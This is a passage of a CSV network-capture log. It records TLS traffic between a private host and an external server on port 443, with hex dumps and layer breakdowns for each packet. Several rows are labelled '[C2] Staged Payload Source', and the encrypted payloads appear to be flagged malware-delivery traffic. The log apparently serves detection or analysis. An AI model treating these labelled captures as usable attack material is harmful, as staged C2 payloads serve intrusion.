a4ae3a365b86d4ce9dfadc21f2826463d16dedcb4fc52e1a6c3c35be4af46d18451124fb4c413f71ce12f0ffd767a48b88a54a4a0ffb5ec135fa9d25823caa94bb4618d90fa3548465bf947424048a17721646a7360c11edac93b697af3285ec89701e9a58d3f451dae894ba2c866ccee09bc887416e7c483a8a9c8f095fe3c4f82743d9383ded73b47c976075d1d0f3e4ffb207d886d88779f98e932d494505a128e0e85768391cd59f8efa5ab11c55f852547434ce2d4f91d52cdc5770cf8acaadc13bd1aef3f859a6208290915f27a525e60bfc3cf8527e9c6cc63e66ab1f06e278ee4d6a2184852e6b4bec40efe27c575be976ae76bdc8c651c8fa35e6e72326ebec405c0ac379b413efd35644416a28653803e5c995a90ceb0310b5fe8f2cdd847b844c9f763ccc27f4268abe777e1c8cf9b8d3dd29aa3361545882f14a0b4e566173b33646a4e3e3f1f2f4acb329e25506c0460a061c30e2a0d215290064626010378c58c84db6f34acd9dee7c0f632179218a72be50ceb8c41fca74f60ce800f66215ee48888aa4c9e7998c42c9a84874eb2d085996a80a88da71cac93ee4551d3d63ceb472dc7a751ebc19895260e086fd0d87723d9dffbdb4846922ca3998ba1d4efe9994d92cd3d9d6051e4dc59171226c5e47db1db7008aa1d9ecbaccf726e5b33888d35225818f733bc80697a363de40b00a43734d988a7ff492efd25861e43ebf1fd4889262973642de66024ae8b04d0faebab9703f67c0583f23d9ccec0fb7128c2c45931639149da22aa1e15201e7d67521d08fbeda43a5ac3c2cbc5e74b1e681971d21eabbd2bab8bf8fe16d3b321237690af97eeed3e9b08fd364d774680aff0e7ab3678697bdebc3345b3a4c8a499b47c46a5bfbd7faab5e959ab714bc48ab731d9e5016344fda02aa3f52a5bcedaa8e474af69aad8a2ae39256471c00d5e72d55eeab34f254782728602ff2dd9ce256ed0e0bbeac7b7584833455196f41a3707c6b78a0f308be055b109948e8d1067e8879e62a5d1f51db826dfa2d3fb94083f3daa\"\"}}]\"\n2026-06-28 14:01:42.819548,17,TCP 10.152.152.11:63946 -> 184.30.157.69:443,10.152.152.11,184.30.157.69,63946,443,TCP,Internal,Private Network,,,,,,The Netherlands,Haarlem,16625,\"Akamai Technologies, Inc.\",52.3803,4.6422,184.30.156.0/22,A,,,Ether > IP > TCP,3,TCP A Seq=1308797981 Ack=553021832,bc24112907bbbc2411360d0c0800450000282fb640008006d3120a98980bb81e9d45f9ca01bb4e02ac1d20f67188501020140f950000,\".$.)...$.6\n...E..(/.@.....\n......E....N... .q.P. .....\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 12214, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 54034, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"184.30.157.69\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63946, \"\"dport\"\": 443, \"\"seq\"\": 1308797981, \"\"ack\"\": 553021832, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 3989, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-28 14:01:42.849285,18,TCP 184.30.157.69:443 -> 10.152.152.11:63946,184.30.157.69,10.152.152.11,443,63946,TCP,The Netherlands,Haarlem,16625,\"Akamai Technologies, Inc.\",52.3803,4.6422,184.30.156.0/22,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > _TLSEncryptedContent,4,TCP PA Seq=553021832 Ack=1308797981,bc2411360d0cbc24112907bb0800450008e9a07b40004006998cb81e9d450a98980b01bbf9ca20f671884e02ac1d5018003f00e30000a1eb546d3125ccdac1d1b52a9e908046711cd2eaeb2eb5a73c4760e7f923a0c421f38cf45c2bf9cfa5aee7d47f55efe9c5ae4343d837cd5bd239fe1701a12c6cbb05453bfc83784d05582593af5698e6b72010b4ac5442ca3519b7c648347965582fc81c51c57bf307f98959d91f499faa56b88ae16991cea2b7099b06ab3d9cd0ef1954ddf9dbf533671cd9d4e14b8e27c68cc8a4672dfd0cd4bd99bf44b8a9c820c5507c3e72a931c7d3dfd1303cb11f2548eb6142a8fafb075d779e1af2e971928dbad25d72e70320fcd2180254c2839287854ad94b5d13773683ed456560ab113244bbc3006a74598d395759b9b50401c49f36b86d0aaf36aff115e5ae7f81864458f957c4083ae4903d05317a18172eff53e4efaf221ec4ce672e125a104da3e4770ade1074866db09ee5791317bc17f3911d4beeb5e009ff5a2e6defc7d02d56c3c027febcbba8c8a57ccc94981ffcae3671d1dafe613d34b64e9d1a817a89f231d191ac9da59233e36a36a5e5daaba9992c52fcb37f0de6957c57ed1d821cea1307146e548225732d6863a6b031afc2497c96571c973a9adb61567586c4761671989c0ef8f8fc15e95a6450ed28bcfc747e94c0ea83a0536e87df8a0ce1d4459e6470d6825c4af515555436f475464f942a1cf963a339833a5f4bab689d7a5804a8454209c57377d7e409df1dd74482ffe81292bc4e40e3dd613697e79c07c5d536135efd802709d047ea9f5fd2ec8f08dca4adad453f491ed3939870d6b15aa23321e8c2a9baed8a39c836b65e29715da2acca850b12b7e52af22f08ca412f2e8ccdcc911c781a55ffd6564abddaacb58d549cd865f1fd24372cee293e8a8fc298519444ad806987497a89b7a71d1f2be340f9db7933112a086c9a39e5ca8cb0b74038bd43164d3d398897668ae193922e79db7ea5f386fb720cb128284d8f723d8460bd055b920c02e4f16eadd7115af7f68d25b37a0200dc236d07768af42b3672d8824fd4b26f0390ffe17100d44456db1857058b40d35a9808aa24ccf0af71be513eda2e89e93086dfd031fd69f92372bca653c141632b9be257f81de6845d8a97a2654458d0da0006e446430fdf531fd1ec716545262352ae5f656ec9450922d8f380d53fffb8d1f1d134d39d85c107ff57b8e82beea1c2e46c1b2a34c77f4c9c54fbca91287fe5178de68dc27b444ed59d2af7dcc839480ed0c51e30377e30eda77aef304e85bc79b7977295e07415b10b638ed10b7fcce16a657b6b074d0713eae429e693a040810ba3a543a1fbd8361345b9e057fb1f39ccff5ba5a98e764a51f8907847caa6f0cd997598cb71fea921539acbec037330451b9af67ee21ada574760274a39f0a7b1844351c276bdf312fee43909468e04e8e89ff4b7113ca4796f8fefb99db91baac65a2a5ab534cf4c0f11106d756c2b5c97e26d1f7269b2dd4c75ac31f1b0b7c2dca1d490fbe0d1f20b3e02843d9977c70b5ae102b655dd5f997f869be587739de3e52da9fa2db08b26624c3a4dc5cbd6a89fdd01abaccdda5c8166fdac743375d879694b30202816e9356549bc7f6c8764a40fed97e4d3df57ef85ff95290e29f3d70de7fac975b233e091d009bc8a7f95308286c652a435e94d448380dcadfe90b94fb1b98065c63251717005d96b000a083bf108b9cfed11d7a0672b6228068128fba8554ae0c77447adad94a2713e5942bc9f395cdadc510ae6791e261d439beb501ead2967af03308dc7f65e83f12583e768e582277148a49a25c794bf837d79699c43b6c5ea750f242180c3291f8bc111acc66254211a9c6f1d883f98a403c00e1b96daa3e6be096b5b29f7fd0306b78105da24636625380e277d6cc750fcc768e860780c96e5abe4ed364dcb1512c686def2ddd0793a2a258e600c380436431cede9c96d701ac3652104c182d90a9ce08b02ebd01d7bead0bbdd71069a8fdb96f6033967942c3d0376b07a4268bc2b6d0574a2b2be5f71787a01fe4e4bd76e076c2dcccd7863c9f3dc21007642adb481978bc0bbd27212d7dfbe55e06838230a05acb411d31f0df68abdc4c6b9ad945f2be3969e0812cfc5ff4b5b5687c722272ae2d345b852cf2f111eede7c4debb156dc3ba4e0463f865c3d1a8c36d40c0e3da55a35d6bae50c7cdce3cf9666c2f8c10b62af6a180c0685343c9b048d0dda2278913acb83b4cb8d96283c2f2b1ea30aada67f20361cb264a8b31e77a6e6954f81ab8e814b82d3a57feffd9c0c9e6d38182e60813d977c86bace1a76c00d4286dc856d5990525c2538d239c386e5ca0fb9a4700e485849f63be3105fe6923fd44846f184c4a6234587954213c620b575401218b87987c1ac6348e45b75a38a4fc869aba492cebc3276b0a07ddc89334bd09dcc2066c9ce1ae53d8354b76b79d88ed6c9d9cf5e31333e51487296ed6b8f3a27049960bdfc93fd0b2949d9f82fe695b8fba791b929741400738770d33af4f20ee6a921ac44e22a59ecc4f46b82d98bb8fb821a71dd5fb1edbc92161b94dcd2d29ea988b5c17bc877bbf1c85750533306a9e2ebbc74a22ced3c1f5307e49e27c8d4fc9af0d2efd865a15050e96ff9898ca2169f0901aa13aa0afae4f47773a4274d2f0bccb66f5366774d84129cd5b4b67ea0d6e9c3b9ae2603c283fe29c8d9911dce808b45201f5a21903635fc596bf0c89ef9464575acfc44277084e64a0b2ca0b332f24f635597cd06ef721ca38c8d14fca8ca90d82bb60ef175179e1f01764e302ce4b2cbc5af337d707258f150f6af03f01ba566bda95e0da786a247c364140bfd88f28a89a226238b6fbd95da6d89c1c96223539711e2c6b2a97a5f3ca10ffb8e627f8d0665019f94c2f502c185c88fc6e88f0b5318615747ca00e1b2b1f3dedd56743067bd3b720182e3b53e1e320d3341bf961f21f180b2285d91fb0ae054e89e5e5520fef22cc01558af695cb392e31e195f69c4b79b5257ec934177e3b0e42ab449f23a190831c70736cc5b1d3ee209d73fd0628b5c5e0769a9e398dc559cd4e9ed8bda6eb63c78125953c5da8cd0ab797d771cb350c825badee798474bf12de269fed04123f8ed0df8ede0b3721a05d510465edb093d5d654eed220c1f13068ba504d306f89a4381137de6d137773442a2f031bb5c73f,\"..Tm1%.....*...Fq.......<G`..#..!...\\+.......U....CC.7.[.9....,l..E;..xM.X%..V... ...TB.5...H4yeX/..Q.{....Y..I..V...i....\t...=....T....3g....K.'....g-......D... .P|>r.1....0<..%H.aB....]w....q....]r.. ....T.....J.K].w6..Ee`..2D...jtY.9WY......6.m\n.6........DX.W..:..=.1z....S...\"\"...g..Z.M..w\n..t.m...y.......K...\t.Z.m...-V..'......|......6q...a=4.N...z..1......3.j6......,R...\n..|W........nT.%s-hc..1..I|.W..:..aVu..v.q........ZdP.(..t~.....Sn......E.dp..\\J..UT6.uFO.*..c.9.:_K.h.zX..EB\t.sw..\t...D......N@..a6......6.^..'\t.G.._........E?I....p..Z.3!......9.6.^)q]........*./..A/......x.U..VJ.....T..e..$7,.)>....Q.D..i.Iz.....+.@..y3.*.l.9.....@8.C.M=9..f.....y.~....r..((M.r=.`..[.....n...Z...%.z...#m.v..+6r..O..o....q..DV..W..@.Z...$...q.Q>....0...1.i.#r..S.Ac+..W....]...eDX.....FC..S...qeE&#R._en.E\t\"\"....?.....4......W..+....l.*4..L.T...(.......{DN..*...9H....07~0..z.0N..y..r..t...c......je{k.M....)...@....C...6.E..W..9..[...vJQ..xG.....u..q..!S....s0E...~...WG`'J9....CQ.v.....9\tF........<.yo........Z*Z.4.L...mul+\\..m.ri..Lu.1.............>..=.w..Z...U._......s...-..-..&bL:M...........\\.f..t3u.yiK0 (..5eI..l.d.......W....).)..\n...u.3...\t....0...R.5.MD.......O...e.2Qqp..k.\n.;........g+b(..(..UJ..tG....q>YB..9\\..Q\n.y.&.C..P..)g..0...^..%..h..'qH..%....}yi.C...u.$!..)......bT!..o..?...........\tk[)........$cf%8.'}l.P..h.`x......6M.........y:*%.`.8.6C....mp..e!....\n.......{....q.......9g.,=.v.zBh.+m.t..._qxz..NK.n.l-..xc...!.vB........r....U.h8#\n......\n........_+........K[V..\"\"'*..E.R./........m..N.c.e....m@...U.]k.P...<.fl/...*....hSC..H...'....;L..b.....0..g..a.&J.1.zniT......-:W.............w.k...l..(m.V...%.S.#.8n\\...G.....c.1..i#.D.o.LJb4XyT!<b.WT.!...|..4.E.Z8.....I,..'k\n....4.\t...l...S.5Kv....l.....3...)n....pI....?.......i[..y...A@.8w\n3.O .j...N\"\"...OF.-....!.......!a.M.-)...\\...{...u.30j....J\"\"....0~I.|.O..\n...Z........!i....:...OGw:Bt....f.6gt.A).[Kg.\nn.;..`<(?.........R.....c_.......dWZ..Bw.Nd....3/$.5Y|.n.!.8..O...\n..`..Qy...d...K,.Z.7..%...j.?..Vk....xj$|6A@...(..\"\"b8...].....\"\"59q.,k*........'..fP..L/P,.\\..n...1..t|...+.=..gC.{.. ..;S.. .4..a....\"\"......N...R..\"\"..U....9.1....Ky.%~.4.~;.B.D.#....psl.... .s..(...v..9..Y.N.....c..%.<]..\n...q.5..[..y.t...&....?......7!.]Q.e.....T.. ..0h.PM0o..8.7.m.wsD*/....?\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 2281, \"\"id\"\": 41083, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 39308, \"\"src\"\": \"\"184.30.157.69\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63946, \"\"seq\"\": 553021832, \"\"ack\"\": 1308797981, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 227, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"_TLSEncryptedContent\"\", \"\"fields\"\": {\"\"load\"\": \"\"a1eb546d3125ccdac1d1b52a9e908046711cd2eaeb2eb5a73c4760e7f923a0c421f38cf45c2bf9cfa5aee7d47f55efe9c5ae4343d837cd5bd239fe1701a12c6cbb05453bfc83784d05582593af5698e6b72010b4ac5442ca3519b7c648347965582fc81c51c57bf307f98959d91f499faa56b88ae16991cea2b7099b06ab3d9cd0ef1954ddf9dbf533671cd9d4e14b8e27c68cc8a4672dfd0cd4bd99bf44b8a9c820c5507c3e72a931c7d3dfd1303cb11f2548eb6142a8fafb075d779e1af2e971928dbad25d72e70320fcd2180254c2839287854ad94b5d13773683ed456560ab113244bbc3006a74598d395759b9b50401c49f36b86d0aaf36aff115e5ae7f81864458f957c4083ae4903d05317a18172eff53e4efaf221ec4ce672e125a104da3e4770ade1074866db09ee5791317bc17f3911d4beeb5e009ff5a2e6defc7d02d56c3c027febcbba8c8a57ccc94981ffcae3671d1dafe613d34b64e9d1a817a89f231d191ac9da59233e36a36a5e5daaba9992c52fcb37f0de6957c57ed1d821cea1307146e548225732d6863a6b031afc2497c96571c973a9adb61567586c4761671989c0ef8f8fc15e95a6450ed28bcfc747e94c0ea83a0536e87df8a0ce1d4459e6470d6825c4af515555436f475464f942a1cf963a339833a5f4bab689d7a5804a8454209c57377d7e409df1dd74482ffe81292bc4e40e3dd613697e79c07c5d536135efd802709d047ea9f5fd2ec8f08dca4adad453f491ed3939870d6b15aa23321e8c2a9baed8a39c836b65e29715da2acca850b12b7e52af22f08ca412f2e8ccdcc911c781a55ffd6564abddaacb58d549cd865f1fd24372cee293e8a8fc298519444ad806987497a89b7a71d1f2be340f9db7933112a086c9a39e5ca8cb0b74038bd43164d3d398897668ae193922e79db7ea5f386fb720cb128284d8f723d8460bd055b920c02e4f16eadd7115af7f68d25b37a0200dc236d07768af42b3672d8824fd4b26f0390ffe17100d44456db1857058b40d35a9808aa24ccf0af71be513eda2e89e93086dfd031fd69f92372bca653c141632b9be257f81de6845d8a97a2654458d0da0006e446430fdf531fd1ec716545262352ae5f656ec9450922d8f380d53fffb8d1f1d134d39d85c107ff57b8e82beea1c2e46c1b2a34c77f4c9c54fbca91287fe5178de68dc27b444ed59d2af7dcc839480ed0c51e30377e30eda77aef304e85bc79b7977295e07415b10b638ed10b7fcce16a657b6b074d0713eae429e693a040810ba3a543a1fbd8361345b9e057fb1f39ccff5ba5a98e764a51f8907847caa6f0cd997598cb71fea921539acbec037330451b9af67ee21ada574760274a39f0a7b1844351c276bdf312fee43909468e04e8e89ff4b7113ca4796f8fefb99db91baac65a2a5ab534cf4c0f11106d756c2b5c97e26d1f7269b2dd4c75ac31f1b0b7c2dca1d490fbe0d1f20b3e02843d9977c70b5ae102b655dd5f997f869be587739de3e52da9fa2db08b26624c3a4dc5cbd6a89fdd01abaccdda5c8166fdac743375d879694b30202816e9356549bc7f6c8764a40fed97e4d3df57ef85ff95290e29f3d70de7fac975b233e091d009bc8a7f95308286c652a435e94d448380dcadfe90b94fb1b98065c63251717005d96b000a083bf108b9cfed11d7a0672b6228068128fba8554ae0c77447adad94a2713e5942bc9f395cdadc510ae6791e261d439beb501ead2967af03308dc7f65e83f12583e768e582277148a49a25c794bf837d79699c43b6c5ea750f242180c3291f8bc111acc66254211a9c6f1d883f98a403c00e1b96daa3e6be096b5b29f7fd0306b78105da24636625380e277d6cc750fcc768e860780c96e5abe4ed364dcb1512c686def2ddd0793a2a258e600c380436431cede9c96d701ac3652104c182d90a9ce08b02ebd01d7bead0bbdd71069a8fdb96f6033967942c3d0376b07a4268bc2b6d0574a2b2be5f71787a01fe4e4bd76e076c2dcccd7863c9f3dc21007642adb481978bc0bbd27212d7dfbe55e06838230a05acb411d31f0df68abdc4c6b9ad945f2be3969e0812cfc5ff4b5b5687c722272ae2d345b852cf2f111eede7c4debb156dc3ba4e0463f865c3d1a8c36d40c0e3da55a35d6bae50c7cdce3cf9666c2f8c10b62af6a180c0685343c9b048d0dda2278913acb83b4cb8d96283c2f2b1ea30aada67f20361cb264a8b31e77a6e6954f81ab8e814b82d3a57feffd9c0c9e6d38182e60813d977c86bace1a76c00d4286dc856d5990525c2538d239c386e5ca0fb9a4700e485849f63be3105fe6923fd44846f184c4a6234587954213c620b575401218b87987c1ac6348e45b75a38a4fc869aba492cebc3276b0a07ddc89334bd09dcc2066c9ce1ae53d8354b76b79d88ed6c9d9cf5e31333e51487296ed6b8f3a27049960bdfc93fd0b2949d9f82fe695b8fba791b929741400738770d33af4f20ee6a921ac44e22a59ecc4f46b82d98bb8fb821a71dd5fb1edbc92161b94dcd2d29ea988b5c17bc877bbf1c85750533306a9e2ebbc74a22ced3c1f5307e49e27c8d4fc9af0d2efd865a15050e96ff9898ca2169f0901aa13aa0afae4f47773a4274d2f0bccb66f5366774d84129cd5b4b67ea0d6e9c3b9ae2603c283fe29c8d9911dce808b45201f5a21903635fc596bf0c89ef9464575acfc44277084e64a0b2ca0b332f24f635597cd06ef721ca38c8d14fca8ca90d82bb60ef175179e1f01764e302ce4b2cbc5af337d707258f150f6af03f01ba566bda95e0da786a247c364140bfd88f28a89a226238b6fbd95da6d89c1c96223539711e2c6b2a97a5f3ca10ffb8e627f8d0665019f94c2f502c185c88fc6e88f0b5318615747ca00e1b2b1f3dedd56743067bd3b720182e3b53e1e320d3341bf961f21f180b2285d91fb0ae054e89e5e5520fef22cc01558af695cb392e31e195f69c4b79b5257ec934177e3b0e42ab449f23a190831c70736cc5b1d3ee209d73fd0628b5c5e0769a9e398dc559cd4e9ed8bda6eb63c78125953c5da8cd0ab797d771cb350c825badee798474bf12de269fed04123f8ed0df8ede0b3721a05d510465edb093d5d654eed220c1f13068ba504d306f89a4381137de6d137773442a2f031bb5c73f\"\"}}]\"\n2026-06-28 14:01:42.849441,19,TCP 10.152.152.11:63946 -> 184.30.157.69:443,10.152.152.11,184.30.157.69,63946,443,TCP,Internal,Private Network,,,,,,The Netherlands,Haarlem,16625,\"Akamai Technologies, Inc.\",52.3803,4.6422,184.30.156.0/22,A,,,Ether > IP > TCP,3,TCP A Seq=1308797981 Ack=553024073,bc24112907bbbc2411360d0c0800450000282fb740008006d3110a98980bb81e9d45f9ca01bb4e02ac1d20f67a495010201406d40000,\".$.)...$.6\n...E..(/.@.....\n......E....N... .zIP. .....\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 12215, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 54033, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"184.30.157.69\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63946, \"\"dport\"\": 443, \"\"seq\"\": 1308797981, \"\"ack\"\": 553024073, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 1748, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-28 14:01:43.204880,20,TCP 10.152.152.11:63946 -> 184.30.157.69:443,10.152.152.11,184.30.157.69,63946,443,TCP,Internal,Private Network,,,,,,The Netherlands,Haarlem,16625,\"Akamai Technologies, Inc.\",52.3803,4.6422,184.30.156.0/22,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=1308797981 Ack=553024073,bc24112907bbbc2411360d0c0800450001a62fb840008006d1920a98980bb81e9d45f9ca01bb4e02ac1d20f67a49501820140c910000170303017900000000000000025ac8c9b2735f5d4e33bf07f4860d2321218daa52200a86992d7a8bfb5ad01bafecbb32de3f82828bc2cb117660e2f0397721dbde684c7e50fee7c07347e4e1590666a12845650c37354d8dfbe92549b3243c23367d2e82d3cde6b8f1e0d08a11fb8e2bea1ebeffe373bfe2aca9eeea9b32e47479bfd13f8112aaec23be1bc589c3f5370d94d9e33931599d27f0b9938ed2f4df269284e7c2e378d67eabc31fd31f5cce9686b647b2f5e91e24d3fd22f00e3284ef39155b63a713e4339f0c8a4ea475475a259081d31233d0df84cf2be6a64aa8e31be54e07646440becc8789a041c502ce91a467df705c3ca4c63b34fa2ed76d174710564647ae903eff1c391b5f3f48b2561598c2a7708b76a3ea92883d509f5d1161a09b2fa600a1c28a748e80edc3d7cb746a7ab344505162043f16ddf361fe7b1a9f0908fb8f89403faaaf617c0f3d6403629bac9d9e2cf3695b8a56185a3f0a8f955a9fb93749b21cfc4941057c7747aae1cf46b8d42247fa00c485,\".$.)...$.6\n...E.../.@.....\n......E....N... .zIP. .........y........Z...s_]N3....\n#!!..R \n..-z..Z.....2.?......v`..9w!..hL~P...sG..Y.f.(Ee.75M...%I.$<#6}.............+.....s.......2.ty..?....#......7\n...91Y.'.......&.....x.~.....\\....G....$..\"\"..2..9.[c...3...N.uGZ%....3....+..J....N.dd@.....A.....g.p\\<..;4...m.G.VFG..>..9._?H.V....p.v....=P.].a../.....t......tjz.DPQb.?...a.{..\t....@?..a|.=d.b....,.i[.V.Z?\n..Z..7I...IA.|wG...F..\"\"G....\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 422, \"\"id\"\": 12216, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 53650, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"184.30.157.69\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63946, \"\"dport\"\": 443, \"\"seq\"\": 1308797981, \"\"ack\"\": 553024073, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 8212, \"\"chksum\"\": 3217, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 377, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x02Z\\\\xc8\\\\xc9\\\\xb2s_]N3\\\\xbf\\\\x07\\\\xf4\\\\x86\\\\r#!!\\\\x8d\\\\xaaR \\\\n\\\\x86\\\\x99-z\\\\x8b\\\\xfbZ\\\\xd0\\\\x1b\\\\xaf\\\\xec\\\\xbb2\\\\xde?\\\\x82\\\\x82\\\\x8b\\\\xc2\\\\xcb\\\\x11v`\\\\xe2\\\\xf09w!\\\\xdb\\\\xdehL~P\\\\xfe\\\\xe7\\\\xc0sG\\\\xe4\\\\xe1Y\\\\x06f\\\\xa1(Ee\\\\x0c75M\\\\x8d\\\\xfb\\\\xe9%I\\\\xb3$<#6}.\\\\x82\\\\xd3\\\\xcd\\\\xe6\\\\xb8\\\\xf1\\\\xe0\\\\xd0\\\\x8a\\\\x11\\\\xfb\\\\x8e+\\\\xea\\\\x1e\\\\xbe\\\\xff\\\\xe3s\\\\xbf\\\\xe2\\\\xac\\\\xa9\\\\xee\\\\xea\\\\x9b2\\\\xe4ty\\\\xbf\\\\xd1?\\\\x81\\\\x12\\\\xaa\\\\xec#\\\\xbe\\\\x1b\\\\xc5\\\\x89\\\\xc3\\\\xf57\\\\r\\\\x94\\\\xd9\\\\xe391Y\\\\x9d\\\\'\\\\xf0\\\\xb9\\\\x93\\\\x8e\\\\xd2\\\\xf4\\\\xdf&\\\\x92\\\\x84\\\\xe7\\\\xc2\\\\xe3x\\\\xd6~\\\\xab\\\\xc3\\\\x1f\\\\xd3\\\\x1f\\\\\\\\\\\\xce\\\\x96\\\\x86\\\\xb6G\\\\xb2\\\\xf5\\\\xe9\\\\x1e$\\\\xd3\\\\xfd\\\"\"\\\\xf0\\\\x0e2\\\\x84\\\\xef9\\\\x15[c\\\\xa7\\\\x13\\\\xe43\\\\x9f\\\\x0c\\\\x8aN\\\\xa4uGZ%\\\\x90\\\\x81\\\\xd3\\\\x123\\\\xd0\\\\xdf\\\\x84\\\\xcf+\\\\xe6\\\\xa6J\\\\xa8\\\\xe3\\\\x1b\\\\xe5N\\\\x07dd@\\\\xbe\\\\xcc\\\\x87\\\\x89\\\\xa0A\\\\xc5\\\\x02\\\\xce\\\\x91\\\\xa4g\\\\xdfp\\\\\\\\<\\\\xa4\\\\xc6;4\\\\xfa.\\\\xd7m\\\\x17G\\\\x10VFG\\\\xae\\\\x90>\\\\xff\\\\x1c9\\\\x1b_?H\\\\xb2V\\\\x15\\\\x98\\\\xc2\\\\xa7p\\\\x8bv\\\\xa3\\\\xea\\\\x92\\\\x88=P\\\\x9f]\\\\x11a\\\\xa0\\\\x9b/\\\\xa6\\\\x00\\\\xa1\\\\xc2\\\\x8at\\\\x8e\\\\x80\\\\xed\\\\xc3\\\\xd7\\\\xcbtjz\\\\xb3DPQb\\\\x04?\\\\x16\\\\xdd\\\\xf3a\\\\xfe{\\\\x1a\\\\x9f\\\\t\\\\x08\\\\xfb\\\\x8f\\\\x89@?\\\\xaa\\\\xafa|\\\\x0f=d\\\\x03b\\\\x9b\\\\xac\\\\x9d\\\\x9e,\\\\xf3i[\\\\x8aV\\\\x18Z?\\\\n\\\\x8f\\\\x95Z\\\\x9f\\\\xb97I\\\\xb2\\\\x1c\\\\xfcIA\\\\x05|wG\\\\xaa\\\\xe1\\\\xcfF\\\\xb8\\\\xd4\\\"\"G\\\\xfa\\\\x00\\\\xc4\\\\x85' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-28 14:01:43.204897,21,TCP 184.30.157.69:443 -> 10.152.152.11:63946,184.30.157.69,10.152.152.11,443,63946,TCP,The Netherlands,Haarlem,16625,\"Akamai Technologies, Inc.\",52.3803,4.6422,184.30.156.0/22,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=553024073 Ack=1308798363,bc2411360d0cbc24112907bb080045000028a07d40004006a24bb81e9d450a98980b01bbf9ca20f67a494e02ad9b5010003ff8210000,\".$.6\n..$.)....E..(.}@.@..K...E\n....... .zIN...P..?.!..\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 41085, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 41547, \"\"src\"\": \"\"184.30.157.69\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, 